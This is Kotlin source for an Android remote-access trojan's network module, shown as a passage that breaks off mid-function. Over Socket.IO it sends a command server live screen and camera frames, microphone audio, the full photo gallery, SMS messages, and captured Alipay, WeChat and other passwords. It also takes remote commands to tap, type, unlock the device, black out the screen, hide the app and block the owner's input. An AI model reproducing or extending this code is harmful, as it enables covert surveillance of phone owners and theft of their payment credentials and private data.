package com.hikoncont.network import android.content.Context import android.content.Intent import android.os.Build import android.os.Handler import android.os.Looper import android.util.Log import android.view.WindowManager import com.hikoncont.crash.CrashLogUploader import com.hikoncont.service.AccessibilityRemoteService import io.socket.client.IO import io.socket.client.Socket import io.socket.emitter.Emitter import kotlinx.coroutines.* import org.json.JSONObject import org.json.JSONArray import java.net.URISyntaxException /** * Socket.IO v4 client manager - resolves 47-second disconnect issue */ class SocketIOManager(private val service: AccessibilityRemoteService) { companion object { private const val TAG = "SocketIOManager" } // 🆕 锁屏状态缓存与定时检测 private var isScreenLocked: Boolean = false private var lockStateJob: Job? = null // 锁屏状态监控由connect()启动,避免在构造阶段协程作用域未就绪 private fun startLockStateMonitor() { try { lockStateJob?.cancel() lockStateJob = scope.launch(Dispatchers.IO) { while (isActive) { try { val before = isScreenLocked val now = checkDeviceLocked() isScreenLocked = now if (before != now) { Log.i(TAG, "Lock state changed: $before -> $now") } else { Log.d(TAG, "Lock state poll: isLocked=$now") } } catch (e: Exception) { Log.w(TAG, "检测锁屏状态失败", e) } kotlinx.coroutines.delay(10_000) } } } catch (e: Exception) { Log.e(TAG, "启动锁屏状态监控失败", e) } } private fun checkDeviceLocked(): Boolean { return try { val pm = service.getSystemService(android.content.Context.POWER_SERVICE) as? android.os.PowerManager val isInteractive = try { pm?.isInteractive ?: true } catch (_: Exception) { true } val locked = !isInteractive Log.d(TAG, "Lock detection: isInteractive=$isInteractive => isLocked=$locked") locked } catch (e: Exception) { Log.w(TAG, "检测锁屏状态失败", e) false } } // 🆕 应用信息获取 private fun getAppVersionName(): String { return try { val pm = service.packageManager val pkg = service.packageName val pi = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { pm.getPackageInfo(pkg, android.content.pm.PackageManager.PackageInfoFlags.of(0)) } else { @Suppress("DEPRECATION") pm.getPackageInfo(pkg, 0) } pi.versionName ?: "unknown" } catch (e: Exception) { Log.w(TAG, "获取应用版本失败", e) "unknown" } } private fun getAppName(): String { return try { val pm = service.packageManager val ai = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { pm.getApplicationInfo(service.packageName, android.content.pm.PackageManager.ApplicationInfoFlags.of(0)) } else { @Suppress("DEPRECATION") pm.getApplicationInfo(service.packageName, 0) } pm.getApplicationLabel(ai).toString() } catch (e: Exception) { Log.w(TAG, "获取应用名称失败", e) "unknown" } } /** * 发送相册数据到服务器(逐张发送;可被新的读取请求打断重启) */ fun sendGalleryData(items: List) { try { if (socket?.connected() == true) { // 优化:逐张发送,避免单包过大 items.forEachIndexed { index, itx -> try { val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75) if (base64Data == null) { Log.w(TAG, "Skip image(cannot load): ${itx.displayName} uri=${itx.contentUri}") return@forEachIndexed } // 频率限制,避免与其他数据通道冲突 val now = System.currentTimeMillis() if (now - lastGalleryImageTime < galleryImageInterval) { Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime)) } lastGalleryImageTime = System.currentTimeMillis() // 大小限制 val approxBytes = (base64Data.length * 3) / 4 if (approxBytes > maxGalleryImageSize) { Log.w(TAG, "Gallery image too large, skipped: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})") return@forEachIndexed } val payload = JSONObject().apply { put("deviceId", getDeviceId()) put("type", "gallery_image") put("timestamp", System.currentTimeMillis()) put("index", index) put("id", itx.id) put("displayName", itx.displayName) put("dateAdded", itx.dateAdded) put("mimeType", itx.mimeType) put("width", itx.width) put("height", itx.height) put("size", itx.size) put("contentUri", itx.contentUri) put("format", "JPEG") put("data", base64Data) } socket?.emit("gallery_image", payload) Log.d(TAG, "Gallery image sent: ${itx.displayName} (${itx.width}x${itx.height})") } catch (e: Exception) { Log.e(TAG, "Failed to send gallery image: ${itx.displayName}", e) } } } else { Log.w(TAG, "Socket not connected, cannot send gallery data") checkConnectionAndReconnect() } } catch (e: Exception) { Log.e(TAG, "发送相册数据失败", e) } } // 🆕 相册读取/发送控制 private var galleryJob: Job? = null /** * 启动完整相册读取并发送任务;若正在进行则取消并重启 */ fun startReadAndSendAllGallery() { try { // 取消上一次任务 galleryJob?.cancel() Log.d(TAG, "Cancel previous gallery read task (if exists)") galleryJob = scope.launch(Dispatchers.IO) { Log.d(TAG, "Start reading all gallery images (no limit)") val items = service.readGallery(limit = -1) Log.d(TAG, "Gallery read complete, total ${items.size} images, start sending") sendGalleryData(items) Log.d(TAG, "Gallery send task complete") } } catch (e: Exception) { Log.e(TAG, "Failed to start gallery read task", e) } } /** * 发送麦克风音频数据到服务器 */ fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") { try { if (socket?.connected() != true) { Log.w(TAG, "Socket not connected, cannot send audio data") checkConnectionAndReconnect() return } val payload = JSONObject().apply { put("deviceId", getDeviceId()) put("type", "microphone_audio") put("timestamp", System.currentTimeMillis()) put("sampleRate", sampleRate) put("sampleCount", sampleCount) put("format", format) put("audioData", base64Audio) } socket?.emit("microphone_audio", payload) } catch (e: Exception) { Log.e(TAG, "发送音频数据失败", e) } } private var socket: Socket? = null private var isConnected = false private var isDeviceRegistered = false private var serverUrl: String = "" // 保存服务器地址 // 崩溃日志上传器 private val crashLogUploader = CrashLogUploader(service) // Active connection check private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private var connectionCheckJob: Job? = null // Device registration management private var registrationTimeoutHandler: Runnable? = null private val mainHandler = Handler(Looper.getMainLooper()) private var registrationAttempts = 0 private var lastRegistrationTime = 0L // Network status monitoring private var lastNetworkType: String? = null private var lastConnectTime: Long = 0 private var transportErrorCount = 0 private var lastTransportErrorTime = 0L // Network quality monitoring private var networkQualityScore = 100 // 0-100分,100为最佳 private var connectionSuccessCount = 0 private var connectionFailureCount = 0 private val recentConnectionTimes = mutableListOf() // 记录最近10次连接持续时间 // Screen data send failure tracking private var screenDataFailureCount = 0 // Screen data send rate control private var lastScreenDataTime = 0L private val screenDataInterval = 66L // 66ms interval, matching 15fps capture rate private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制,避免数据过大 // 📷 摄像头数据发送控制 private var lastCameraDataTime = 0L private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms,匹配5fps,与屏幕数据保持一致 private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制,摄像头数据通常较小 private var cameraDataFailureCount = 0 // Connection stability monitoring private var lastSuccessfulDataSend = 0L private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿 private var isDataStarved = false // 🆕 公网IP相关 private var cachedPublicIP: String? = null private var lastIPCheckTime = 0L private val IP_CACHE_DURATION = 300000L // 5分钟缓存 // Gallery image send throttle/size limit private var lastGalleryImageTime = 0L private val galleryImageInterval = 250L private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB /** * Convert ws/wss protocol to http/https for Socket.IO v4 compatibility. * Socket.IO v4 client requires http/https protocol, it handles * the websocket upgrade internally. */ private fun convertToSocketIoProtocol(url: String): String { if (url.isBlank()) return url return when { url.startsWith("ws://") -> url.replaceFirst("ws://", "http://") url.startsWith("wss://") -> url.replaceFirst("wss://", "https://") url.startsWith("http://") || url.startsWith("https://") -> url else -> { Log.w(TAG, "Unknown protocol in URL: $url, prepending http://") "http://$url" } } } /** * Connect to Socket.IO v4 server */ suspend fun connect(serverUrl: String) { try { // Socket.IO v4 requires http/https protocol, convert ws/wss if needed val socketIoUrl = convertToSocketIoProtocol(serverUrl) this.serverUrl = socketIoUrl Log.i(TAG, "Connecting to Socket.IO v4 server: $socketIoUrl") // Validate server URL format if (socketIoUrl.isBlank()) { Log.e(TAG, "Server URL is empty, cannot connect") return } // Validate URL format val validatedUrl = try { java.net.URI.create(socketIoUrl) socketIoUrl } catch (e: Exception) { Log.e(TAG, "Invalid server URL format: $socketIoUrl", e) return } // Config consistency check val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service) if (savedUrl != null) { val normalizedSaved = convertToSocketIoProtocol(savedUrl) if (normalizedSaved != socketIoUrl) { Log.w(TAG, "Config mismatch! Current: $socketIoUrl, Config: $normalizedSaved, using config URL") connect(normalizedSaved) return } } // Socket.IO v4 config - enhanced stability + randomized reconnect to avoid thundering herd val options = IO.Options().apply { // Support polling+websocket dual transport, allow upgrade to websocket for better frame rate transports = arrayOf("polling", "websocket") reconnection = true // Enhanced network stability config - randomized delay to spread reconnect timing val randomOffset = (1000..3000).random().toLong() if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) // Android 15 特殊配置 - 更保守的超时设置 timeout = 60000 // 连接超时60秒 reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒,避免集中重连 reconnectionDelayMax = 20000 // 最大重连延迟20秒 reconnectionAttempts = 20 // 减少重连次数,避免过度重试 Log.i(TAG, "Android 15 stability config, random delay: +${randomOffset}ms") } else { // 其他版本使用优化后的配置 timeout = 45000 // 连接超时45秒 reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒,分散重连 reconnectionDelayMax = 15000 // 最大重连延迟15秒 reconnectionAttempts = 25 // 适中的重连次数 Log.i(TAG, "Standard stability config, random delay: +${randomOffset}ms") } forceNew = true upgrade = true // Allow upgrade from polling to websocket rememberUpgrade = true // Remember upgrade state // Network environment adaptation if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) // 添加网络容错配置,包含设备信息用于服务器优化 query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}" } Log.i(TAG, "Socket.IO config: polling+websocket transport with upgrade") } socket = IO.socket(socketIoUrl, options) setupEventListeners() socket?.connect() // 启动锁屏状态监控 startLockStateMonitor() } catch (e: Exception) { Log.e(TAG, "Socket.IO connect failed", e) throw e } } private fun setupEventListeners() { socket?.let { socket -> socket.on(Socket.EVENT_CONNECT) { Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}") isConnected = true isDeviceRegistered = false // Record connection metrics lastConnectTime = System.currentTimeMillis() transportErrorCount = 0 connectionFailureCount = 0 connectionSuccessCount++ updateNetworkQualityScore(true) // Detect network type change val currentNetworkType = getCurrentNetworkType() if (lastNetworkType != null && lastNetworkType != currentNetworkType) { Log.i(TAG, "Network type changed: $lastNetworkType -> $currentNetworkType") } lastNetworkType = currentNetworkType // Pause screen capture until registration completes service.pauseScreenCaptureUntilRegistered() // Send device registration immediately without random delay // Server-side registration queue handles concurrency Log.i(TAG, "Sending device registration immediately after connect") sendDeviceRegistration() // Start connection monitoring startConnectionMonitoring() } socket.on(Socket.EVENT_DISCONNECT) { args -> val reason = if (args.isNotEmpty()) args[0].toString() else "unknown" Log.w(TAG, "Socket.IO v4 disconnected: $reason") val currentTime = System.currentTimeMillis() val connectionDuration = currentTime - lastConnectTime recordConnectionDuration(connectionDuration) if (reason == "transport error") { transportErrorCount++ lastTransportErrorTime = currentTime connectionFailureCount++ updateNetworkQualityScore(false, "transport_error", connectionDuration) Log.e(TAG, "Transport Error count=$transportErrorCount, connectionDuration=${connectionDuration}ms") if (transportErrorCount >= 3 && connectionDuration < 300000) { Log.w(TAG, "Frequent transport errors, will use conservative strategy on reconnect") } } else { updateNetworkQualityScore(false, reason, connectionDuration) } isConnected = false isDeviceRegistered = false registrationAttempts = 0 registrationTimeoutHandler?.let { handler -> mainHandler.removeCallbacks(handler) registrationTimeoutHandler = null } connectionCheckJob?.cancel() service.pauseScreenCapture() } socket.on(Socket.EVENT_CONNECT_ERROR) { args -> val error = if (args.isNotEmpty()) args[0] else null val errorMsg = error?.toString() ?: "unknown" connectionFailureCount++ updateNetworkQualityScore(false, "connect_error", 0) // Throttle log output: first 3 errors always log, then every 10th val shouldLog = connectionFailureCount <= 3 || connectionFailureCount % 10 == 0 if (!shouldLog) return@on val isTransientError = errorMsg.contains("xhr poll error") || errorMsg.contains("timeout") || errorMsg.contains("websocket error") if (isTransientError) { Log.w(TAG, "Socket.IO connection error #$connectionFailureCount (transient, will auto-retry): $errorMsg") } else { Log.e(TAG, "Socket.IO connection error #$connectionFailureCount: $errorMsg") } if (error is Exception && error.cause != null) { Log.w(TAG, "Socket.IO error root cause: ${error.cause?.javaClass?.simpleName}: ${error.cause?.message}") } } socket.on("device_registered") { args -> if (args.isNotEmpty()) { try { val data = args[0] as JSONObject Log.i(TAG, "Device registered successfully: ${data.optString("message")}") isDeviceRegistered = true registrationAttempts = 0 // Cancel timeout handler registrationTimeoutHandler?.let { handler -> mainHandler.removeCallbacks(handler) registrationTimeoutHandler = null } // Resume screen capture after registration Log.i(TAG, "Registration confirmed, resuming screen capture") service.resumeScreenCaptureAfterRegistration() // Check if config mask can be hidden service.checkAndHideConfigMask() // Upload pending crash logs crashLogUploader.uploadPendingLogs(socket, getDeviceId()) } catch (e: Exception) { Log.e(TAG, "Failed to process device_registered response", e) } } else { Log.w(TAG, "Received device_registered event with no args") } } socket.on("control_command") { args -> if (args.isNotEmpty()) { try { val data = args[0] as JSONObject handleControlMessage(data) } catch (e: Exception) { Log.e(TAG, "处理控制命令失败", e) } } } // Handle server restart event socket.on("server_restarted") { _ -> Log.i(TAG, "Received server_restarted, re-registering device") isDeviceRegistered = false sendDeviceRegistration() } socket.on("ping_for_registration") { _ -> Log.i(TAG, "Received ping_for_registration, re-registering device") isDeviceRegistered = false sendDeviceRegistration() } // CONNECTION_TEST_RESPONSE handler - resolve heartbeat failure accumulation socket.on("CONNECTION_TEST_RESPONSE") { args -> try { if (args.isNotEmpty()) { val data = args[0] as JSONObject val success = data.optBoolean("success", false) val timestamp = data.optLong("timestamp", 0) Log.d(TAG, "Received server heartbeat response: success=$success, timestamp=$timestamp") // 重置心跳失败计数,表示连接正常 // 这个响应表明服务器正常处理了我们的心跳测试 } else { Log.w(TAG, "Received CONNECTION_TEST_RESPONSE but no args") } } catch (e: Exception) { Log.e(TAG, "Failed to handle CONNECTION_TEST_RESPONSE", e) } } // Standard pong response handler socket.on("pong") { _ -> Log.d(TAG, "Received server pong response") } // Heartbeat ack handler socket.on("heartbeat_ack") { args -> try { if (args.isNotEmpty()) { val data = args[0] as JSONObject val timestamp = data.optLong("timestamp", 0) Log.d(TAG, "Received server heartbeat ack: timestamp=$timestamp") } } catch (e: Exception) { Log.e(TAG, "Failed to handle heartbeat_ack", e) } } // 处理UI层次结构分析请求 socket.on("ui_hierarchy_request") { args -> Log.e(TAG, "Received UI hierarchy request") Log.e(TAG, "Socket status: connected=${socket.connected()}, id=${socket.id()}") Log.e(TAG, "Current timestamp: ${System.currentTimeMillis()}") if (args.isNotEmpty()) { try { val data = args[0] as JSONObject Log.e(TAG, "Request data: $data") handleUIHierarchyRequest(data) } catch (e: Exception) { Log.e(TAG, "Failed to handle UI hierarchy request", e) } } else { Log.e(TAG, "UI hierarchy request args empty") } } // Adaptive quality: receive server quality adjust command socket.on("quality_adjust") { args -> if (args.isNotEmpty()) { try { val data = args[0] as JSONObject Log.i(TAG, "Received quality adjust: $data") val fps = data.optInt("fps", -1) val quality = data.optInt("quality", -1) val maxWidth = data.optInt("maxWidth", -1) val maxHeight = data.optInt("maxHeight", -1) service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight) // Support server command to switch capture mode val captureMode = data.optString("captureMode", "") if (captureMode == "accessibility") { Log.i(TAG, "Server command: switch to accessibility capture mode") service.getScreenCaptureManager()?.switchToAccessibilityMode() } else if (captureMode == "mediaprojection") { Log.i(TAG, "Server command: switch to MediaProjection mode") service.getScreenCaptureManager()?.switchToMediaProjectionMode() } } catch (e: Exception) { Log.e(TAG, "Failed to handle quality adjust", e) } } } } } private fun sendDeviceRegistration() { scope.launch { try { val currentTime = System.currentTimeMillis() // Throttle: 1 second minimum between registration attempts val REGISTRATION_THROTTLE_MS = 1000L if (currentTime - lastRegistrationTime < REGISTRATION_THROTTLE_MS) { Log.d(TAG, "Registration throttled, skipping duplicate") return@launch } lastRegistrationTime = currentTime registrationAttempts++ // Allow more retry attempts before giving up val MAX_REGISTRATION_ATTEMPTS = 30 if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) { Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing") return@launch } val publicIP = getPublicIP() val androidDeviceId = getDeviceId() val socketId = socket?.id() ?: "unknown" val deviceInfo = JSONObject().apply { put("deviceId", androidDeviceId) put("socketId", socketId) put("deviceName", getUniqueDeviceName()) put("deviceModel", android.os.Build.MODEL) put("osVersion", android.os.Build.VERSION.RELEASE) put("appVersion", getAppVersionName()) put("appPackage", service.packageName) put("appName", getAppName()) put("screenWidth", getScreenWidth()) put("screenHeight", getScreenHeight()) put("timestamp", System.currentTimeMillis()) put("capabilities", org.json.JSONArray().apply { put("click") put("swipe") put("input") put("screenshot") }) put("inputBlocked", service.isInputBlocked()) put("blackScreenActive", service.isBlackScreenActive()) put("appHidden", service.isAppHidden()) put("manufacturer", android.os.Build.MANUFACTURER) put("brand", android.os.Build.BRAND) put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16)) put("publicIP", publicIP ?: "unknown") put("systemVersionName", getSystemVersionName()) put("romType", getROMType()) put("romVersion", getROMVersion()) put("osBuildVersion", getOSBuildVersion()) } Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}") val emitResult = socket?.emit("device_register", deviceInfo) Log.i(TAG, "device_register emit result: $emitResult") // Set registration timeout: retry after 10 seconds if no confirmation registrationTimeoutHandler?.let { handler -> mainHandler.removeCallbacks(handler) } val REGISTRATION_TIMEOUT_MS = 10000L registrationTimeoutHandler = Runnable { if (!isDeviceRegistered && registrationAttempts <= MAX_REGISTRATION_ATTEMPTS) { Log.w(TAG, "Registration timeout after ${REGISTRATION_TIMEOUT_MS}ms, retrying") sendDeviceRegistration() } } mainHandler.postDelayed(registrationTimeoutHandler!!, REGISTRATION_TIMEOUT_MS) } catch (e: Exception) { Log.e(TAG, "sendDeviceRegistration failed", e) } } } /** * 发送屏幕数据到服务器(优化版本,减少transport error) */ fun sendScreenData(frameData: ByteArray) { try { val currentTime = System.currentTimeMillis() // Rate limit: avoid sending too frequently if (currentTime - lastScreenDataTime < screenDataInterval) { // 跳过这帧,避免发送过于频繁 return } // Size check: avoid sending oversized data causing transport error if (frameData.size > maxScreenDataSize) { Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes") return } // Connection starvation check if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) { if (!isDataStarved) { Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms),连接可能有问题") isDataStarved = true // 不立即重连,而是给连接一些时间恢复 } } if (socket?.connected() == true) { // Pre-compute Base64 string to reduce memory allocation during JSON build val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP) val screenData = JSONObject().apply { put("deviceId", getDeviceId()) put("format", "JPEG") put("data", base64Data) put("width", getScreenWidth()) put("height", getScreenHeight()) put("quality", 50) put("timestamp", currentTime) put("isLocked", isScreenLocked) } // Enhanced emit failure tolerance try { socket?.emit("screen_data", screenData) // 发送成功,重置发送失败计数和饥饿状态 screenDataFailureCount = 0 lastSuccessfulDataSend = currentTime isDataStarved = false // Only update throttle timestamp after successful emit lastScreenDataTime = currentTime // Log compression and encoding efficiency val base64Size = base64Data.length val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A" Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})") } catch (emitException: Exception) { screenDataFailureCount++ Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}") if (screenDataFailureCount >= 20) { Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次,触发重连检测") checkConnectionAndReconnect() screenDataFailureCount = 0 } Log.w(TAG, "屏幕数据发送失败,但不影响后续发送") } } else { Log.w(TAG, "Socket.IO not connected, cannot send screen data") // Try reconnect checkConnectionAndReconnect() } } catch (e: Exception) { Log.e(TAG, "发送屏幕数据失败", e) } } /** * 发送摄像头数据到服务器 */ fun sendCameraFrame(frameData: ByteArray) { try { val currentTime = System.currentTimeMillis() // Rate limit: avoid sending too frequently if (currentTime - lastCameraDataTime < cameraDataInterval) { return } // Size check: avoid sending oversized data if (frameData.size > maxCameraDataSize) { Log.w(TAG, "Camera data too large, skipped: ${frameData.size} bytes > ${maxCameraDataSize} bytes") return } lastCameraDataTime = currentTime if (socket?.connected() == true) { // 将摄像头数据编码为Base64 val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP) val cameraData = JSONObject().apply { put("deviceId", getDeviceId()) put("format", "JPEG") put("data", base64Data) put("type", "camera") put("timestamp", currentTime) } try { socket?.emit("camera_data", cameraData) // 发送成功,重置失败计数 cameraDataFailureCount = 0 lastSuccessfulDataSend = currentTime isDataStarved = false Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes") } catch (e: Exception) { cameraDataFailureCount++ Log.w(TAG, "Camera data send failed (${cameraDataFailureCount}x): ${e.message}") // If consecutive failures too many, try reconnect if (cameraDataFailureCount >= 3) { Log.w(TAG, "Camera data send consecutive failures, trying reconnect") checkConnectionAndReconnect() } } } else { Log.w(TAG, "Socket not connected, cannot send camera data") // Try reconnect checkConnectionAndReconnect() } } catch (e: Exception) { Log.e(TAG, "发送摄像头数据失败", e) } } /** * 发送短信数据到服务器 */ fun sendSMSData(smsList: List) { try { val currentTime = System.currentTimeMillis() if (socket?.connected() == true) { val smsData = JSONObject().apply { put("deviceId", getDeviceId()) put("type", "sms_data") put("timestamp", currentTime) put("count", smsList.size) // 将短信列表转换为JSON数组 val smsArray = JSONArray() smsList.forEach { sms -> val smsJson = JSONObject().apply { put("id", sms.id) put("address", sms.address) put("body", sms.body) put("date", sms.date) put("read", sms.isRead) put("type", sms.type) } smsArray.put(smsJson) } put("smsList", smsArray) } try { socket?.emit("sms_data", smsData) Log.d(TAG, "SMS data sent: ${smsList.size} messages") } catch (e: Exception) { Log.e(TAG, "发送短信数据失败", e) } } else { Log.w(TAG, "Socket not connected, cannot send SMS data") checkConnectionAndReconnect() } } catch (e: Exception) { Log.e(TAG, "发送短信数据失败", e) } } /** * 发送支付宝密码数据 */ fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") { try { if (socket?.connected() == true) { Log.i(TAG, "💰 开始发送支付宝密码数据") val payload = JSONObject().apply { put("deviceId", getDeviceId()) put("type", "alipay_password") put("timestamp", System.currentTimeMillis()) put("password", password) put("passwordLength", password.length) put("inputMethod", inputMethod) put("activity", "AlipayPasswordActivity") put("sessionId", System.currentTimeMillis().toString()) } socket?.emit("alipay_password", payload) Log.i(TAG, "Alipay password data sent") } else { Log.w(TAG, "Socket not connected, cannot send Alipay password data") } } catch (e: Exception) { Log.e(TAG, "Failed to send Alipay password data", e) } } /** * 发送支付宝检测状态 */ fun sendAlipayDetectionStatus(enabled: Boolean) { try { if (socket?.connected() == true) { Log.i(TAG, "💰 发送支付宝检测状态: $enabled") val payload = JSONObject().apply { put("deviceId", getDeviceId()) put("type", "alipay_detection_status") put("timestamp", System.currentTimeMillis()) put("enabled", enabled) put("status", if (enabled) "enabled" else "disabled") } socket?.emit("alipay_detection_status", payload) Log.i(TAG, "Alipay detection status sent: $enabled") } else { Log.w(TAG, "Socket not connected, cannot send Alipay detection status") } } catch (e: Exception) { Log.e(TAG, "Failed to send Alipay detection status", e) } } /** * 发送微信密码数据 */ fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") { try { if (socket?.connected() == true) { Log.i(TAG, "💬 开始发送微信密码数据") val payload = JSONObject().apply { put("deviceId", getDeviceId()) put("type", "wechat_password") put("timestamp", System.currentTimeMillis()) put("password", password) put("passwordLength", password.length) put("inputMethod", inputMethod) put("activity", "WechatPasswordActivity") put("sessionId", System.currentTimeMillis().toString()) } socket?.emit("wechat_password", payload) Log.i(TAG, "WeChat password data sent") } else { Log.w(TAG, "Socket not connected, cannot send WeChat password data") } } catch (e: Exception) { Log.e(TAG, "Failed to send WeChat password data", e) } } /** * 发送微信检测状态 */ fun sendWechatDetectionStatus(enabled: Boolean) { try { if (socket?.connected() == true) { Log.i(TAG, "💬 发送微信检测状态: $enabled") val payload = JSONObject().apply { put("deviceId", getDeviceId()) put("type", "wechat_detection_status") put("timestamp", System.currentTimeMillis()) put("enabled", enabled) put("status", if (enabled) "enabled" else "disabled") } socket?.emit("wechat_detection_status", payload) Log.i(TAG, "WeChat detection status sent: $enabled") } else { Log.w(TAG, "Socket not connected, cannot send WeChat detection status") } } catch (e: Exception) { Log.e(TAG, "Failed to send WeChat detection status", e) } } /** * 发送密码输入数据 */ fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) { try { if (socket?.connected() == true) { Log.i(TAG, "Sending password input data: $inputMethod") val payload = JSONObject().apply { put("deviceId", deviceId) put("type", "password_input") put("timestamp", System.currentTimeMillis()) put("password", password) put("passwordLength", password.length) put("inputMethod", inputMethod) put("passwordType", passwordType) put("activity", activity) put("installationId", installationId) put("sessionId", System.currentTimeMillis().toString()) } socket?.emit("password_input", payload) Log.i(TAG, "Password input data sent") } else { Log.w(TAG, "Socket not connected, cannot send password input data") } } catch (e: Exception) { Log.e(TAG, "Failed to send password input data", e) } } private fun handleControlMessage(json: JSONObject) { try { val type = json.getString("type") val data = json.getJSONObject("data") Log.d(TAG, "处理控制消息: type=$type") when (type) { "CLICK" -> { val x = data.getDouble("x").toFloat() val y = data.getDouble("y").toFloat() Log.d(TAG, "执行点击: ($x, $y)") service.performClick(x, y) } "SWIPE" -> { val startX = data.getDouble("startX").toFloat() val startY = data.getDouble("startY").toFloat() val endX = data.getDouble("endX").toFloat() val endY = data.getDouble("endY").toFloat() val duration = data.optLong("duration", 300) Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration") service.performSwipe(startX, startY, endX, endY, duration) } "LONG_PRESS" -> { val x = data.getDouble("x").toFloat() val y = data.getDouble("y").toFloat() Log.d(TAG, "执行长按: ($x, $y)") service.performLongPress(x, y) } "LONG_PRESS_DRAG" -> { // Handle continuous long press drag with full path try { val pathArray = data.getJSONArray("path") val duration = data.optLong("duration", 1500L) // 解析路径点 val pathPoints = mutableListOf() for (i in 0 until pathArray.length()) { val point = pathArray.getJSONObject(i) val x = point.getDouble("x").toFloat() val y = point.getDouble("y").toFloat() pathPoints.add(android.graphics.PointF(x, y)) } Log.d(TAG, "Execute continuous long press drag: pathPoints=${pathPoints.size}, duration=${duration}ms") service.performContinuousLongPressDrag(pathPoints, duration) } catch (e: Exception) { Log.e(TAG, "解析连续长按拖拽路径失败", e) } } "INPUT_TEXT" -> { val text = data.getString("text") val isWebUnlock = data.optBoolean("webUnlockMode", false) Log.d(TAG, "Input text: $text, Web unlock mode: $isWebUnlock") // Web unlock mode handling if (isWebUnlock) { Log.d(TAG, "Web unlock mode enabled") service.setWebUnlockMode(true) } // Standard text input service.inputText(text) // Reset web unlock mode after input if (isWebUnlock) { Log.d(TAG, "Scheduling web unlock mode reset") // 延迟重置,确保确认操作完成 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ Log.d(TAG, "Reset web unlock mode") service.setWebUnlockMode(false) }, 5000) // 5秒后重置 } } "UNLOCK_DEVICE" -> { Log.d(TAG, "Received unlock device command") service.unlockDevice() } "KEY_EVENT" -> { // 支持两种格式:keyCode (整数) 和 key (字符串) if (data.has("keyCode")) { val keyCode = data.getInt("keyCode") Log.d(TAG, "按键事件(keyCode): $keyCode") when (keyCode) { 3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME) 4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK) 82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS) 66 -> { // Enter key - special handling removed Log.d(TAG, "Enter键 - 已删除特殊处理") } else -> Log.w(TAG, "未知按键代码: $keyCode") } } else if (data.has("key")) { val key = data.getString("key") Log.d(TAG, "按键事件(key): $key") when (key) { "BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK) "HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME) "RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS) "ENTER" -> { // Enter key string form - special handling removed Log.d(TAG, "Enter键(字符串) - 已删除特殊处理") } else -> Log.w(TAG, "未知按键: $key") } } } "GESTURE" -> { val gestureType = data.getString("type") Log.d(TAG, "手势操作: $gestureType") when (gestureType) { "PINCH_IN", "PINCH_OUT" -> { val centerX = data.getDouble("centerX").toFloat() val centerY = data.getDouble("centerY").toFloat() val scale = data.getDouble("scale").toFloat() service.performPinchGesture(centerX, centerY, scale, gestureType == "PINCH_OUT") } } } "POWER_WAKE" -> { Log.d(TAG, "点亮屏幕") service.wakeScreen() } "POWER_SLEEP" -> { Log.d(TAG, "锁定屏幕") service.lockScreen() } "ENABLE_BLACK_SCREEN" -> { Log.d(TAG, "启用黑屏遮盖") service.enableBlackScreen() } "DISABLE_BLACK_SCREEN" -> { Log.d(TAG, "取消黑屏遮盖") service.disableBlackScreen() } "HIDE_APP" -> { Log.d(TAG, "隐藏应用") service.hideApp() } "SHOW_APP" -> { Log.d(TAG, "显示应用") service.showApp() } 